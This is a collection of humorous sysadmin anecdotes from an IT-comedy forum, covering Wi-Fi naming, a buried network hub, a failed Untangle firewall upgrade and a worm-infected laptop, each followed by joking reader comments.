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*clap*clap*clap* Simply brilliant. -SalParadise
Ah, Let it Snow! (EG) -MadJack
That is one of the most evil things I've read about you doing. It's great! -Starfury
*standing ovation* well done! -rosemetal
*notes Sal and rosemetal having the clap and backs away before running and giggling* -Necros
Good one Riff. One year on April 1st I pulled the biggest April foold joke of my life, I had typed up a letter of resignation and then at 20 before the end of my shift I asked my then team leader if I could talk to him some where private. I had an envelope in my hand. I pulled his strings for almost 20 min before I said APRIL FOOLS,he did't know whether to be mad at me or glad that I wasn't really leaving. He never saw that coming and said no one had ever gotten him that bad. Tee hee hee. -THETECHFROMHELL
Riff, there are tears in my eyes, I'm laughing so hard I'm coughing and my lasagne has graduated from bowl to mouth to lap. thanks, and lmao! -AdmiralLaurie
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22.
Woot!
My 2010 IT Budget got approved within an hour of submittal... drum roll please... EXACTLY AS SUBMITTED!
Now, where is Rod Serling?
[By: RiffRaff]
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Woot for shinies! "One for the IT department, one for the I am going to have the sickest server farm in my basement department." -0gr3
Careful, Padawan... It may be that they approved your budget as-is as their revenge for earlier... I'd ask for all the money in advance in small, unmarked, non-sequential bills. -exzyle2k
Was a cake walk, huh ? TEH CAKE IZ A LIE! -Necros
Subject to change at the actual point of purchase. At least that's how it works around here. -Griffin2020
This can only mean that you didn't ask for enough! -OgdenTechGuy
Lucky bastage... our IT budget has yet to be submitted, once it is, it'll be subject to an immediate 20% reduction (cost-cutting measures), then will be sat on for three months before another mandated 20% cut is imposed... it may be June before we see it with only 25% of what we requested to spend being approved. If we're lucky...
-VoiceOfSanity
There must be something in the air, I just got both of my expense reports approved, exactly as submitted. -Stryker One
VOS, just pad the amounts up so when the deductions happen, you will get the targeted amount anyway. -Wraith556
You guys get IT budgets? Lucky... -Caboose447
I'm budget free! If I needs it, I needs it, and it gets billed to whatever department it's going to. -LazyLemming
Riff, obviously you should have asked for more! -rdwells
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23.
Ow...
$Office Manager (who is barely 21) just put a magazine on my desk that came in today's mail. This by itself is not unusual; I get all kinds of crap addressed to me here at Peyton Place. Then I looked at the title:
International Council on Active Aging
Preferred Vendors Guide
Age-friendly products and services
Ow...
[By: RiffRaff]
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International Counsel on Active Aging? What the hell is active aging? Is there a passive aging? You can actively age yourself or just let nature run it's course? Can teenagers use active aging to turn 21 at age 16 so they can get into bars? -AdeptusMechanis
hmm hell I'm 29 and i'd consider that a droped gauntlet! 21... yea.. young and still stupid.. needs to realise age = more expirience in ASS whoppin. -Harm
"Age and treachery will overcome youth and enthusiasm." -Seamus
Riff, perhaps you should consider that a preemptive strike on OM's behalf, and retaliate appropriately. Method if retaliation is your choice. -exzyle2k
Sorry Riff. I know how it feels. I turn 50 next week and I got my AARP letter yesterday. Couldn't even wait til I blew out the friggin candles! -merlot1959
AM: yes there is. Active aging is aging with grace, or trying to stay fit and limber as you get older. the oposit... -compbrat
I have been ignoring mailings like that now for a few years. I'm of the old Groucho Marx line of thought... "You're only as old as the woman you feel." -VoiceOfSanity
If that's the case, I don't exist. D: -Darth
FYI, age discrimination is just as illegal as sexual discrimination, and the same applies to age-based harassment. -Captain Trips
Ow. That's like looking the toys you had as a kid and seeing them all listed as "vintage". -Biosynthetic
Merlot - Got my first AARP membership mailing when I turned 30. -redevil34
Dont try and lift that magazine. You might hurt your shoulder. -burrkiss
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24.
Cracks In The Armor?
So yesterday I was called into Co-Owner's office, to be greeted by Prima Donna sitting across from him at his desk. Co-Owner begins by asking, "How easy would it be to get Prima Donna here set up with $Incredibly Expensive & Restricted Job Leads Website Account?"
"Piece of cake," says I. "We can use $Former Employee's login account since it hasn't been reassigned to anyone else."
"Oh." *pause* "Okay, make it happen."
Now, I know this guy well enough that I know he's not really happy about doing this. Sure enough, I get a phone call from him later after he's left the building:
"Hey, let Prima Donna play with that for a couple of days, then yank his access. Make up some story about the login only having a 48-hour trial period or something, and I'll handle it from there."
You betchya. I love it when a LART has been preauthorized by a big boss.
[By: RiffRaff]
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Just make sure you have a full and complete backup to restore whatever he screws up >:-) -Divinar
Yeah you get access. hmm wait no soup for you! Get out pre dumbass. Doh>.< lart shelter away! -StarFishHearder
btw, in regards to your sig, I know why the Grinch hated Christmas -- and I share his reasoning, it not being my holiday yet I am forced to "celebrate" it anyway! -Captain Trips
All I know is, it's not because my heart is two times too small. I have no heart. -RiffRaff
Drop me a line if you want to point $Co-Owner towards $Appropriately-Priced and Effective Job Leads Website. Sorry, I'm in $$$Salesman mode, but if $Peyton Place is hiring, I can help! -ActingUpAgain
"I have the heart of a child. In a jar....On the desk....." -vacuumtubes
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25.
That's What I Thought
Quick follow-up story to last week's resetting of our WAP's names and passwords per $Owner's instructions - http://www.techcomedy.com/single/new_stories.php?content_number=81454
I reset the final WAP first thing this morning, and since it is the primary one, a lot of people got disconnected. Easy fix, of course. Then I get called to $Co-Owner's office.
CO: Hey! I'm offline!
ME: Yeah; I reset the wireless security. Let me fix that for you.
*Point WLAN connection to new SSID & receive a password prompt. I reach over to type in the password.*
CO: *Putting his hands over the keyboard* What is it?
ME: *Without missing a beat* "$IncrediblyLong&ComplicatedNonDictionaryPassphrase"
*pause*
CO: *Throwing his hands up* You type it.
ME: *Best Eddie Murphy imitation I can muster* Y'know; I really do think that would be best.
*bfeg*
[By: RiffRaff]
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"$IncrediblyLong&ComplicatedNonDictionaryPassphrase"? I got the same combination on my luggage? :P .... <oh blasted! Back to the LART shelter. Please understand, it's Monday.> -TheGhost
Due to some old equipment I have in the house, I had to set my parents' wifi network to WEP instead of WPA. I have the hex password memorized. My parents are always in awe when I have to tell it to someone. -DarthIndy
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26.
Be Careful With Complaints to IT
When I originally set up Peyton Place's network a few years ago, I named the WAPs Peyton Place 2, Peyton Place 3 etc. $Owner expressed some dissatisfaction with this naming scheme a few weeks ago, because according to him, "$Competitor could pull up in front of the building and know which access points were ours."
0.o
Okay, you're the boss.
So, after a few weeks of discussing alternative naming schemes, my PFY and I have instituted the new naming scheme for our APs:
Initech 2, Initech 3, etc.
All four of them.
*BFEG*
Criticize *my* naming scheme, will you? At least now I'm entertaining any geek within transmission range.
[By: RiffRaff]
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Bravo sir! (although I had to look it up to understand why this was so masterful) -AussieFoot
If he was worried about that, why not just hide the SSIDs? O.o -NightSteel
*pushes walker aside, finds riff's feet with cane and drops, kissing them* I'm not worthy! I'm not worthy! -AdmiralLaurie
$Owner forgets that regardless of access point name, without that key no one is getting in. Plus insert the DUH factor: If you're in front of Peyton Place's building, the strongest signal you're getting will be... Payton Place. Who woulda thunk it. -Mushroom
Agree with Mush. If you wanted to confuse them, you could have used "NOTPeytonPlace1", "NOTPeytonPlace2", and so on. -TheGhost
Only thing better would have been Initech, Lumbergs Office, ect. -ZombieBear
I woulda used, "Penetrode1" "Penetrode2", etc., but that's the kind of smarmy bastard I am. -Biosynthetic
NS: Hiding the SSID is about as effective as screen doors on a submarine. Any Wi-Fi scanner worth its salt is still going to pick up on them, hidden SSID or not. I did consider it, mind you, but I decided against it on the 0.01& chance that $Owner would be aware of this fact, and I would look like an idiot. -RiffRaff
BTW, just saw and love your sig!
-AdmiralLaurie
The main reason for NOT hiding the SSID in a corporate environment is all the mobile devices that would normally connect would then be broadcasting the SSID where ever they go. That's a worse problem than broadcasting them locally from the WAP. -AussieFoot
http://failblog.org/2009/11/10/wireless-network-fail/ -linuxmatt
Brilliant!.. alternatives could have been used from Dilbert company names.. but he may have caught on. TPS 1, Flair 15... -Harm
What about naming them after a fictional hard-core bondage or fetish shop? That would keep most people from looking too closely... -docbrown01
Mr. Haney's Gen-you-wine 802.11 1/2 Wireless Service Deluxe -linkv
For my site, the corrugated metal, and lead based paint seem to do an excellent job at containing the wifi signals... Also keeps out those pesky cell phone signals that I have seend distract people in other buildings... Oops, I've got skype client on my Iphone, and a poor mans PBX at home, that automagically trys to forward calls to the cell, then to skype. Just have to remember never to enter or exit the building while I'm on the phone... -garwain
Chute, that's my SSID.. -BayouTech
The names I have for my PC's and AP's at home are all Star Wars-related. That way, there's no confusion among the neighborhood which one is mine :) -elcapitane
I named our WAP CIANode361. -Ramblin
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27.
Take Your Frakking Time, Dammit!
Fresh off the heels of a two-and-a-half week battle with an Untangle upgrade, and Ubuntu's farked up Karmic Koala release, which hosed my PFY's system when he upgraded to it, comes this morning, and the BSOD crash of $CFO's laptop. "Unmountable Boot Volume," it screams at me in capital letters.
Well, shit. This can't be good.
Off to ,my workbench I go. First step: boot to Windows XP CD and drop to a CLI. Nope; system hangs at discovering hard disk 0. Okay, then. Remove drive and attach it to my laptop. Nope; system sees the drive but times out trying to mount it. Plus the drive is squeaking like a brood of caged field mice running in their wire wheels.
Write "DOA" on the drive, and pop in a replacement 250 gigger, and start downloading her files from the backup server.
Takes an hour to format the drive, during which time I connect her old drive to a desktop unit sitting on my workbench and boot it to a Knoppix Live CD. Wonder of wonders, it sees the drive and forces it to mount. I immediately begin copying her entire user directory to another viable drive, since the backup server does not backup her VM, and this will save me the time of reinstalling it. squeak squeak squeak squeal squeak squeak*
Meantime, I've already let her know it's going to be after lunch before it's ready, and I'm giving her updates as I go. $CFO does not like to be without her computer, and I'm cutting every corner I can so she can have it back for the afternoon, and then I can finish it later at night or first thing in the morning.
Finally, Windows finishes its install, minus five device drivers, of course. Video, audio, NIC, wireless, and something else. Fucking Windows shit software. And fuck Dell, too, since I used their own OEM restore CD, the fuckers.
Anyway, I get her on the network temporarily using my USB/NIC adapter, and start installing AVG and other critical applications. Since Untangle doesn't recognize the MAC address of that network adapter, I put her in a "bypass" rack so I can get the initial downloads finished. I figure with AVG and the Windows firewall sitting behind a router, she should be safe enough, especially since I installed SP3 on it.
Finish up five hours after the crash, which includes a trip to my local parts store for the new hard drive. Not bad for a complete FFR, methinks.
Redeploy her system, with the understanding that I will finish it up after she leaves. But for now, she can get her e-mail, access the QuickBooks databases, etc. This puts us at about 2:30 local time.
4:00 rolls around, and I'm paged to her office. She can't get online. I can ping outside servers, but no web traffic. Strange. And then I see it. AVG jumping up and down like a Jack Russel fucking Terrier, scanning outgoing e-mail just as lickety split as it can. And her e-mail client ain't open.
Fuck.
Yank the network cable, and AVG cycles through about three dozen IP addresses to which it's trying to establish an SMTP connection within about five seconds, then it goes dead. Immediately, AVG pops up with a threat alert. Just a tad bit late, dontchya think?
Back to my workbench. Sure enough, she picked up a worm. Fucking fresh install of Windows XP SP3, fresh install of AVG 8.5, sitting behind a router, and the OS is still a sitting duck. Somebody remind me why Windows is so fucking expensive? I pop her computer back behind Untangle's protection and boot it up, and AVG goes nuts, scanning outgoing e-mails again, which Untangle promptly quarantines just as fast as they get sent. Fuck this shit, says I, and I shut it down to work on it at home.
AVG is scanning the outgoing e-mail, CERTIFYING IT AS VIRUS FREE, then sending it on its merry way. Untangle at least did its job once I did mine right.
So, here I sit, posting this at 23:35, after dicking around with her laptop all evening at home. Got rid of the worm, no thanks to AVG and SpyBot. MalwareBytes kicked its ass. Most of her drivers are installed, although I can't seem to get the proper wireless driver from Dell for some reason.
Moral of the story: You can do it right, or you can rush it.
Tomorrow morning all Critical Updates get installed, and I start looking at how much it will cost Peyton Place to switch to a commercial version of MalwareBytes. I have so tried to give AVG the benefit of the doubt, but goddammit, when the machine is infected with a trojan (MBAM detected and removed 12 items), and AVG says it's perfectly clean, they can go fuck themselves.
Fuck. Everything I've fucking touched for the past three weeks has completely turned to shit.
FML
[By: RiffRaff]
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FML? Fuck Me Laterally? Longitudinally? Long time? -Stryker One
Striker: it's a site Fmylife.com, which isn't exactly sfw or nsfw.... but at the end of the little blurbs you write fml for fsck my life. -AdmiralLaurie
I still love ya Riff! Although at the moment, if you put that love together with a pair of quarters you'll have half a dollar... -exzyle2k
Definitely get the Malwarebytes corporate license. What model Dell PC are we talking about here? -cecil36
"Everything I've fucking touched for the past three weeks has completely turned to shit. " Have you touched yourself? :D -burrkiss
You might also consider getting a site license for Avast AV too. While you're at it, consider Deep Freeze for the workstations if you haven't already. -RamenMcTavish
You mean you actually have that "Certify outbound email" turned on?!?!?! Lesson learned - that's as useful as a screen door on a submarine. I turn that shit off immediately when I install AVG. Also, AVG 8.5 has once again proven itself to be the Norton of non-Symantec AVs, I think. -ralphp1024
Dell Vostro 1710. And MalwareBytes didn't get rid of the problem. Had twenty TCP connections on port 25 this morning to various IP addresses when I hooked it up to the network. I'm formatting and starting over. -RiffRaff
I actually prefer Dell CD's to any other. It's basically an OEM XP disk with a Dell folder that gets installed on the C drive. Apps and drivers are on a separate CD that is used after installing. This let's me do a base install without all the crapware that gets loaded on other manufacturer machines. I restored mny daughter's HP a couple weeks ago and removed 13 items from Add/Remove Programs after it was done. -Jeckler
The supposition is that you have the worm safely backed up on the network server! And your disaster recovery plan is working perfectly, you can restore the worm along with everything else on the CFO's laptop. Now, how did the CFO 'acquire' the infection in the first place? -TieDyedDinosaur
She acquired it when I put off running Windows Critical Updates and leaving her system in the equivalent of a DMZ with nothing but Windows Firewall and AVG protecting it. So she got infected because I took shortcuts I shouldn't have taken. -RiffRaff
The say the wise man learns from the experience of others. I will now stop using and installing AVG, and go back to Avira or Avast. If it's any consolation, your trouble shall help others. Godspeed. -TheGhost
I hear the audit mode in XP has a built-in OTIS. Haven't found it though. -linuxmatt
http://www.avast.com/#tab2 nuff said. Too many issues with AVG. -beatmewithstick
This is one reason why anytime I work on anyone's system, and they're wanting/needing a rebuild that everything essential is loaded up before hooking in the network. This means anti-virus, most system updates, patches, the whole nine yards. I have a 250gb USB pocket drive just for that purpose, and I use it with a vengeance. (I also keep it updated once a week with the latest updates for everything.) -VoiceOfSanity
Cheap, Fast, Correct. Choose two. -DarkRookie
I'd suggest getting all critical updates, including Java and Flash ;) I'd bet Farmville played a part in this! -PsiKoTicK
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28.
Total Fark'd by a Stranger (NT/OT)
I peruse Fark on a daily basis, as I'm sure a lot of you do. But I rarely have the time or inclination to post comments.
However, I made several comments this morning in a smoking ban thread, and someone gifted me a six-month Total Fark membership!
0.0
I know the Fark nickname of my benefactor, but other than that I have no idea who they are. I suspect that the person is also a TSC-er, given how generous we are with each other in gifting stars memberships, and the fact that I also go by Riff-Raff on Fark, but I could be wrong. If I'm right, however, please let me know who you are so I can thank you appropriately.
[By: RiffRaff]
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It wasn't me, but I'm "Bathroom Samurai" on Fark. -Bioguy
"Bathroom Samurai" - My mind reels with imagery... *bfeg* -RiffRaff
"I play naked" is one of my Ultima Online characters. -burrkiss
Dammit Burrkiss! Put your pants on! -unrenowned
Blame Bathroom Samurai if someone cuts a dog in half. (oz version of "cut the cheese" for non-antipodeans) -AussieFoot
Not guilty either, though I both use total fark, and like reading Riffraff posts :) -shayera
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29.
Untangle vs. Murphy - The Sequel
Y'all might remember my post from a couple of weeks ago where I spent a 12 hour day taking care of what should have been a fifteen minute upgrade on our primary network server from Untangle 6.2 to 7.0. http://www.techcomedy.com/single/new_stories.php?content_number=81053
Well, it is my duty to inform everyone that Untangle 7.0 was coded by the devil himself. First, after upgrading down at Peyton Place 2, e-mail stopped functioning down there. An hour or so of testing brought us to a P2P protocol I had blocked, which was also blocking Outlook Express (Not Thunderbird; not Outlook; just Outlook Express). Unblocking the protocol fixed the problem temporarily, and a mental note to switch the user to Thunderbird was made. A minor bug in Untangle's Protocol signatures, but annoying nonetheless.
Second, Yahoo IM stopped working for almost everyone in the company early last week. The usual troubleshooting techniques failed to resolve the problem. OS, IM client, policy configuration - didn't matter. Finally stayed late last night and wiped out all the configurations I'd put in, deleted all policies and all racks. Essentially, Untangle is just acting as one big fancy router right now. Most people can connect to Yahoo at this point, but the minute I start adding rack options, they start dropping like flies and can't reconnect.
There is absolutely *nothing* on the Untangle forums about this, so I can only assume it's something I did wrong while configuring the thing last week, but fuck all if I know what it was. Thing of it is, it's not just one single rack option that affects Yahoo. I can install the Spam Filter, the Firewall, Attack Blocker, VPN, and Intrusion Control just fine. If I add Spyware Blocker, Phish Blocker, Web Filter, or Protocol Control, Yahoo goes bye-bye. Fuck if I know why, and I can't find any information on it.
I did a tcp dump on one of the computers that was having problems, and it was sending packets out to Yahoo's servers on the proper port, but getting no responses. Something's blocking Yahoo traffic, and it's not the firewall.
So the decision was made today to roll back our server to version 6.2. Well, that would be a nice thought, except that Untangle *forces* you to upgrade before rack options can be installed. That's the first negative thing I've ever had to say about them.
At any rate, now I'm in the process of installing a fresh copy of Untangle 7 on a spare computer so I can see if the default factory settings still block Yahoo. If they do, I'm fucked, other than filing a bug report that obviously isn't affecting anyone else.
FML
[By: RiffRaff]
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whoa, you're gonna need this more than me....(passes the rum bottle to RiffRaff) -mechajock
*passes over the leftover chicken alfredo, mountain dew and oh, glass clinks as about eight bottles of cheap wine tumble out of the fridge* you're gonna need those, too. -AdmiralLaurie
Unless ofc nobody else is protesting because they think nobody else is having the issue and they screwed something up too ;) Did you start a forum post about it on their site? -evolvedstarfish
Not yet. Waiting to see if a fresh install with factory defaults does the same thing so I can eliminate any starfishiness on my end. -RiffRaff
I also had Untangle issues a few days ago - PPPoE on a fresh install just didn't work. What should have been a 30 minute job turned into 4 hours, and I accepted that the £180 to renew their Smoothwall Corporate Server licence was worth the saving of my time. I've never had the issue elsewhere, but I also didn't have time to solve it. -smellystudent
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30.
Untangle vs. Murphy
Life is a cruel mistress, says an ancient Klingon proverb.
Untangle Gateway, the open source platform I use both at home and at Peyton Place, just released a new version of their software, moving from 6.2 to 7.0. Now, as always, I ran the upgrade at home first, so that any potential problems that might arise would rear their ugly heads there first and not impact my company.
The upgrade went flawlessly. Took about 15 minutes, a single reboot, and I'm back up and running. Wow, who knew?
So, after a few days of no bugs, I upgraded Peyton Place 2 remotely, since they only have a single user and a couple of servers. The impact of any problems with that upgrade would be minimal. Again, it went flawlessly. 15 minutes, one reboot, and everything comes back online down there perfectly. Didn't even have to leave my desk.
Y'all see where this is going, right?
Anyway, we find one minor bug in the Protocol Control that was interfering with the user's ability to send mail, but once we tracked it down and disabled it, we saw no reason to not go ahead with the upgrade here at Peyton Place, even though I had scheduled it for our two-week shutdown at Christmas.
So on Monday we give everyone notice that there would be a scheduled network outage yesterday at 5:15. At about 5:30, I start the upgrade process.
5:45 - Upgrade still in progress, please do not reboot
6:00 - Upgrade still in progress, please do not reboot
6:30 - Upgrade still in progress, please do not reboot
7:00 - Upgrade still in progress, please do not reboot
We still have connectivity, so we leave, and I figure I'll just monitor the situation from home.
9:00 - Upgrade still in progress, please do not reboot
Fuck me.
Make mental note to my internal alarm clock that getting up very early so I can come into the office and fix this thing will be necessary.
10:00 - Upgrade still in progress, please do not reboot
Fuck me again.
10:45 - Go to bed.
03:00 - Internal alarm clock goes off, much to my annoyance. I had 5:00 in mind.
03:15 - Upgrade still in progress, please do not reboot
Fuck.
Shower, dress, and come into work. Reboot the system even though it's warning me not to. Surprise, it doesn't come back up. Goddammit.
Okay, fuck it. I've got configuration backups stored, so I'll just nuke and pave with 7.0, restore my settings, and everyone's happy. Right? Right??
Installation goes smoothly. Go to restore the configuration settings, and *bzzztttt*. Mr. Murphy pops up like a jack russel fucking terrier and screams, "You idiot! You upgraded to 7.0! Your configurations are fucking gone!"
So, 06:30 - Here I sit waiting on the second install to finish so I can begin the laborious process of rebuilding my server configuration from scratch.
There is not enough caffeine in Indianapolis for this. Ugh.
[By: RiffRaff]
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DAMN that sucks. Sending a case of Jolt. -Seamyst
ouch! *sends several pallets of diet coke, as that seems to be your favourite along with some nodoze* I hope you can get it fixed. good luck -AdmiralLaurie
8:00 - Major portions of the server configuration rebuilt. Still have to enter in all the MAC addresses for each system and their corresponding IPs and users; and the VPN is still down. But I think the worst is over. -RiffRaff
Holy crap! screw the caffine,, you need something muchharder.. and a time machine/ revenge machine.. * sends virtual pallet of RedBull, BAWLS geek beer, Full Throtle and NOS* -Harm
You should definitely fire that Murphy guy. He just seems to screw things up. -robbor
< Starts singing " Ho! Ho! F***ing Ho!" > Can you imagine your holiday if you HAD waited ? -Necros
Yeah but if he had waited necros we could make saved christmas jokes. -Icelator
I do think you -MIGHT- have a reason to contact Untangle and give them some ideas about removing "undocumented features". -Grue
Your a mean one, Mr Icelator. </Dr. Seuss Parody> -Necros
I think I would have gone back to 6.2 and reloaded the config files, just to get things up and running faster....
Or restored from backup *Lart shelter, ho!" -Divinar
Div, that thought occurred to me, but I knew that a nuke & pave and re-entering the configuration info would definitely work, whereas installing 6.2, restoring, then upgrading to 7.0, still carried uncertainty in its success. -RiffRaff
I remember a rule of never applying a x.0 release in a production environment. -Wraith556
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31.
The Magic Hub
So, I have worked for Peyton Place for three years this month. I have spent no small amount of my time fixing my predecessor's disasters, from unsecured wireless access points, to crappy HTML on the corporate websites.
At any rate, I thought I had the network pretty well nailed down. Everything works reliably; the network is secure; I have a pretty good idea of what's wired to what.
Or so I thought.
Today my PFY and I met at Peyton Place to start one of our projects for 2009, which is a complete trace of every network cable in the building, physically labeling them for easy reference, and pulling all dead cable so it's out of the way of the active stuff and stored elsewhere.
This has always been on my "list of things to do," but mucking around with the network during business hours is verboten, and it's only been recently that I've been given a key and alarm code to the building. So we agreed that we'd spend a couple of Saturdays taking care of this.
So today, I arrive about half an hour before my PFY so I can get things opened up and get some preliminary stuff out of the way. He and I agreed to start with systems currently unassigned to people or belonging to people out of the office on vacation. We started with $Owner, tagged the cable with his IP address, then moved on.
Long story short, we discovered that unplugging that cable not only caused $Owner's system to drop off the network, but also $Office Manager's system. Cue a moment of confused silence, then me mumbling, "Theoretically, the only way that could happen is if $Owner's computer was configured for ICS and acting as a router (which clearly wasn't the case), or there's a switch hidden somewhere in this building that we don't know about."
Cue another moment of stunned silence as we realize what this means, then the simultaneous widening of eyes.
So, we start physically tracing the network cable from $Office Manager's system, and it leads past the server closet, straight into $Owner's office. We trace it to a closet in the far corner of his office. Sure enough, buried behind boxes of crap on the very bottom of the closet shelf is an ancient, decrepit, no-name-brand 16-port hub with network cables going every which direction. Seems that network traffic from at least five of our systems has been going through this hub for the past three years, and I never knew it.
Fuck my life.
Further investigation reveals a punch-down box and a jack in the wall of the closet labeled "Modem." Seems that this was the original location of their old DSL equipment, and when my predecessor upgraded to the wireless connection we have now and everything was moved to the current server closet, he just decided to leave that hub right where it was, and plug everything else into a new 10/100 switch in the server closet.
Why, I have no idea, but networking was not this guy's strong suit.
At any rate, we pulled the hub, left all the cables up in the ceiling, and I'll deal with the aftermath on Monday. We have decided, however, that any future network problems will be diagnosed with, "The magic hub must be down."
That should confuse the hell out of my users.
Imagine what we'll find next Saturday.
[By: RiffRaff]
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No good deed goes unpunished... -exzyle2k
"The Magic Hub must have Magic Smoked." -Grue
Oops... -Seamyst
SAME mutha fsckin' thing happened to me a few months back in the finance office. Both PCs "innernets" went down at once cluing me in. -RA
Reminds me of NYNEX. Undocumented telephone cable all over the place. -clockkingfl
Lol.... wow... that's bad. I thought trying to hook my vonage box to the wired/wireless router and keep that bs up and running would give me grey hair by the time I was 25, but I guess not. Lol! -AdmiralLaurie
next chapter: Riff and the lost subnet of Atlantis. Complete with Indiana Jones hats. -SpitefulTech
Reminds me of Coaxial ethernet. The sales director unplugs his laptop the wrong way and the entire company network goes down. Cue me running around for a full half hour trying to find the break, and no they wouldn't pay for a cable radar. Fun times. -rurwin
Tell us when you find Jimmy Hoffa in the broom closet. He'll have a couple of ethernet ports on him. -vacuumtubes
At least it wasn't a server that got accidentally walled up... -pixel
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32.
$299 For Captain Obvious
So I receive a newsletter on my desk today. Nothing I ordered, but I'm used to getting stuff I don't ask for. It's called the Information Technology Adviser - The leading one-stop source to keep IT managers up to date - in a quick-read format, twice a month.
Okay, I peruse it a little, and there are some interesting tidbits of information, but nothing I would consider earth shattering. Certainly nothing I couldn't get off SlashDot, TSC, or any number of other online sources.
On page 5 is a section titled What's Working For Other Information Managers where IT manager subscribers send in suggestions for other IT managers.
Number 1 dealt with recycling usable parts out of broken systems. I'm sorry, but you mean there are IT managers out there who will throw away a complete system if the main board goes bad? This needs to be pointed out to people?
Number 2 contained the amazing revelation that MSConfig contains applications that automatically start up with Windows, and unchecking some of them increases system performance. Again, this has been part of Windows since at least Windows 98, and it's being included as breaking news?
The kicker: The subscription rate for this 8-page Microsoft Publisher-produced rag? $299 per year for 23 issues.
Anyone ever hear of this before?
[By: RiffRaff]
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I remember something like that a few years ago, not sure about the name, but definitely the same price range, same "quality", and maybe even the same articles! -Divinar
Maybe it's a "For dummies" magazine. ... Wait, scratch that. Definitively it's a "for dummies" magazine. -TheGhost
Makes me think of Lyndon LaRouche-- -jerrybear
Aimed at PHB's who don't know any better and have expense accounts for these things. -McSmiley
Features editor: Ms J. Patch. ;-) -Gromit
Sounds like a bit of a step-up from Illiterate's Digest, seen here: http://www.somethingawful.com/d/photoshop-phriday/reverse-magazines.php?page=2 -Biosynthetic
Maybe I can do a three-page expose' on "Secrets of Tech Support". The "top 10" will include five variants of re-booting the thing, including "soft boots", "cold boots", "accidental boots", (tripping over the cord), and more! -Voz
Ohhhhh, I just Googled it. It's from "Progressive Business Publications". I know them from some safety newsletters they keep trying to sell me. They're fully legit, but they are full of it- they actually think their newsletters are worth what they charge. -Voz
I got it for free for a year. It occasionally had some good little tidbits, but NOTHING worth that price. I think they were charging too much when it is free... -Griffin2020
Hot Tip #3- Shortcut key for copy is Ctrl+C, saves time *and* money!!11one1! -Kiddingme
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33.
Airborn Swine Clarification
A lot of people seem to have misunderstood the meaning behind my post yesterday. I wasn't dismayed that he was asking me to scan a personal USB drive; I was shocked that one of my users actually followed established security protocols and brought a foreign device to me to scan before inserting it into his company workstation.
Hence, the reference to flying pigs.
Just to be clear.
[By: RiffRaff]
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I understood... 'cause usually you'd have someone put it into their computer, have whatever collection of nasties infect their machine and possibly the network, THEN take said device to you and ask for scanning. At which point you'd embed it in their forehead as you try to salvage the network... Am I close? -exzyle2k
I disagree w/ ex...What would happen is they'd insert the USB stick, thus infecting and crashing their PC. THEN they'd come to you complaining that their PC is borked. When you ask what they've done recently to the PC, the asnwer they give will be "nothing". -BarmanVarn
Barman may be closer to actual Fishy SOP, however I'm reminded of a certain suctomer you had that at least attempted to pay you, although the currency is non-transferable... So I have a little more optimism. -exzyle2k
Ahh okay.. so more Bizzaro world " OMFG your Actually DOING as Requested? and THINKING?" VS " new depths of WTF pass the bottle of whiskey no ice please no glass ill just poloish this offthankyouverymuch -Harm
I got it right off the bat, and I've never been anywhere that mandated that security protocol. -linuxmatt
I did get it, and I did get the flying pigs reference. That's why I commented "Don't panic." Which meant "normality will be restored shortly." -TheGhost
I picked up on that right away, hence the climate in hell reference. -AmazingKreskin
"We have Normality...I repeat, we have Normality. Anything you still can't cope with is therefore you own problem." -Biosynthetic
Aha. Somehow I thought you were saying he wanted you to scan it before putting it in your computer. "My mind to your drive... my thoughts to your Firewire port." -FlyingGrype
You know... I was thinking... If someone could come up with a soda can sized incinerator, and you could call it your "Portable Scanner", you could drop all manner of naughty peripherals in there, and when they flame up you could say it was virii interacting with the disinfectant. -exzyle2k
I have seen a pig fly, I was either stoned or at a Pink Floyd concert (Nashville, TN, 1994), or both. -LordObsidian
LordO -- Been there, done that, answer is "both." -Captain Trips
Yup, I got you straight away...in a similar way to "23rd bacon squadron overhead,we're pulling parachutes on now"...& about as likely. -lineswine
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34.
Airborne Swine?
A user brought me a personal USB thumb drive to me this morning, told me he brought it from home, and asked if I wanted to scan it before he plugged it into his computer.
0.0
Can anyone confirm that this is the same fucked up quantum reality I was trapped in yesterday?
[By: RiffRaff]
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"...and on that day, Baldrick, Satan will be skating to work..."</blackadder> -AmazingKreskin
Well, I'm not sure about "Airborne", but I used to work the Flight Line...does that count? -lineswine
Yea... i'm having a sureal couple of days.. i'm pretty sure a massive amount of crack was released into the watter supply.. or concentrated liquified WTF?! same difference - same effect on the vast majority of people. -Harm
You could "scan" it in the microwave...you know...just to be sure it's sterile. -docbrown01
I'm already convinced that the Large Hadron Colider shifted us into an alternate reality. Ever since they turned it on, I simply cannot believe the things that are happening. Hell, I can't believe some of the things I myself am doing -Spyder19
DON'T PANIC. -TheGhost
"Here I am, brain the size of a planet and they want me to scan a thumb drive. Call that job satisfaction? 'cause I don't." </paraphrased Marvin> -Biosynthetic
Does this mean we now have to listen to news about Avian Swine Flu? -AussieFoot
Just run it across your forehead and say beep. -Stryker One
Full moon coming up. Enough said. We have had enough stupid starfish questions to fill up my brain with I want to kill. I mean, I wanna, I
wanna kill. Kill. I wanna, I wanna see, I wanna see blood and gore and
guts and veins in my teeth. Eat dead burnt bodies. I mean kill, Kill,
KILL, KILL." And I started jumpin up and down yelling, "KILL, KILL," and
he started jumpin up and down with me and we was both jumping up and down
yelling, "KILL, KILL." And the sargent came over, pinned a medal on me,
sent me down the hall, said, "You're our boy." -beatmewithstick
Ohhh, and all this week I'd been thinking they were talking about influenza when they said, "Swine Flew"! -Voz
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35.
Somebody Please Slit My Wrists For Me
I just spent 90 minutes this morning tracking down - and printing out - a couple dozen before & after pictures of projects on one of our file servers.
15 minutes ago, I was handed those exact same printouts...
...with instructions to scan them and e-mail them to somebody.
Kill me.
Please.
*whimper*
[By: RiffRaff]
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But...but...how else can you send them by email? You can't scan them direct from the camera - it won't sit flat on the scanner glass. Silly. -Gromit
I'll trade ya'. I just got off the phone with B@rr@cud@ Networks and had to submit a feature request to allow me to change the Temp display from C to F ! At least you can see the light at the end of the tunnel. XD -Necros
WTF? uhh RIFF SMASH! -Harm
Sounds like something that would happen where I work, since I'm employed by the federal gov't. -elcapitane
And the instructions included asking the receiver to email them back after seeing them, in case someone else also needed them. -TheGhost
Ah, yes "Unlear on the Concept". Just this morning, I was in my doctor's office and had to get a copy of a computer generated page. Instead of generating that same page again, they photocopied the version I had. -MisterCommon
Sorry Riff, but.... HAHAHAHAHAHA! -exzyle2k
Bet them you can do it without scanning them in, put them in a sealed envelope & hand back to foreclose accusations of cheating, enclose and send.....PROFIT! -CTYankee
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36.
Be Forewarned...
